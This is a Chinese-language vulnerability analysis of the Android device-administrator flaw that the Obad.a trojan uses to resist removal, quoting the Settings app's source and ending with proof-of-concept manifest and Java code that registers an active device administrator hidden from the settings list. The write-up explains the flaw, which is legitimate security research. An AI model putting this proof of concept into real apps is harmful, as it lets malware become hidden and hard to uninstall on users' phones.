目前被称为“史上最强Android木马”的病毒Backdoor.AndroidOS.Obad.a利用Android设备管理器漏洞使用户无法通过正常方式卸载。其实该漏洞早在去年底已被发现。
注册为“设备管理器”的应用是无法被直接卸载的。只有取消激活“设备管理器”后才可以直接卸载。
木马可以利用Android设备管理器漏洞达到在设备管理器列表“隐身”的效果。这样用户就无法进去“取消激活”页面,从而达到无法卸载的目的。
二、影响版本
Android2.2以上(4.0,4.1,4.2)
三、漏洞原理
首先我们来看一下Settings app如何形成设备管理器列表的:
相关类:
packages\apps\settings\src\com\android\settings\DeviceAdminSettings.java
public class DeviceAdminSettings extends ListFragment { DevicePolicyManager mDPM; final HashSet<ComponentName> mActiveAdmins = new HashSet<ComponentName>(); final ArrayList<DeviceAdminInfo> mAvailableAdmins = new ArrayList<DeviceAdminInfo>();
@Override public void onResume() { super.onResume(); updateList(); }
void updateList() { mActiveAdmins.clear(); List<ComponentName> cur = mDPM.getActiveAdmins(); if (cur != null) { for (int i=0; i<cur.size(); i++) { mActiveAdmins.add(cur.get(i)); } }
mAvailableAdmins.clear(); List<ResolveInfo> avail = getActivity().getPackageManager().queryBroadcastReceivers( new Intent(DeviceAdminReceiver.ACTION_DEVICE_ADMIN_ENABLED), PackageManager.GET_META_DATA);//通过查询广播”android.app.action.DEVICE_ADMIN_ENABLED“来得到可用的设 //备管理器程序列表 int count = avail == null ? 0 : avail.size(); for (int i=0; i<count; i++) { ResolveInfo ri = avail.get(i); try { DeviceAdminInfo dpi = new DeviceAdminInfo(getActivity(), ri); if (dpi.isVisible() || mActiveAdmins.contains(dpi.getComponent())) { mAvailableAdmins.add(dpi); } //如果应用已激活设备管理器&&注册了”android.app.action.DEVICE_ADMIN_ENABLED“就出现在可用设备管理器列表 } catch (XmlPullParserException e) { Log.w(TAG, "Skipping " + ri.activityInfo, e); } catch (IOException e) { Log.w(TAG, "Skipping " + ri.activityInfo, e); } } getListView().setAdapter(new PolicyListAdapter()); }
....... class PolicyListAdapter extends BaseAdapter { .......
public void bindView(View view, int position) { final Activity activity = getActivity(); ViewHolder vh = (ViewHolder) view.getTag(); DeviceAdminInfo item = mAvailableAdmins.get(position);//显示mAvailableAdmins中数据 vh.icon.setImageDrawable(item.loadIcon(activity.getPackageManager())); vh.name.setText(item.loadLabel(activity.getPackageManager())); vh.checkbox.setChecked(mActiveAdmins.contains(item.getComponent())); try { vh.description.setText(item.loadDescription(activity.getPackageManager())); } catch (Resources.NotFoundException e) { } } }
}
由Android Settings App源代码可以看出,如果想在设备管理器列表中”隐身“,只要不注册”android.app.action.DEVICE_ADMIN_ENABLED“广播就行。
四、POC代码
AndroidMainfest.xml文件注册组件:
<receiver Android:name=".deviceAdminReceiver" android:label="@string/app_name" Android:description="@string/description" android:permission="android.permission.BIND_DEVICE_ADMIN"> <meta-data Android:name="android.app.device_admin" Android:resource="@xml/device_admin" /> </receiver>
java代码注册激活设备管理器:
Intent intent = new Intent( DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN); ComponentName mDeviceComponentName = new ComponentName("packagename","packagename.deviceAdminReceiver"); intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceComponentName); this.startActivity(intent,0);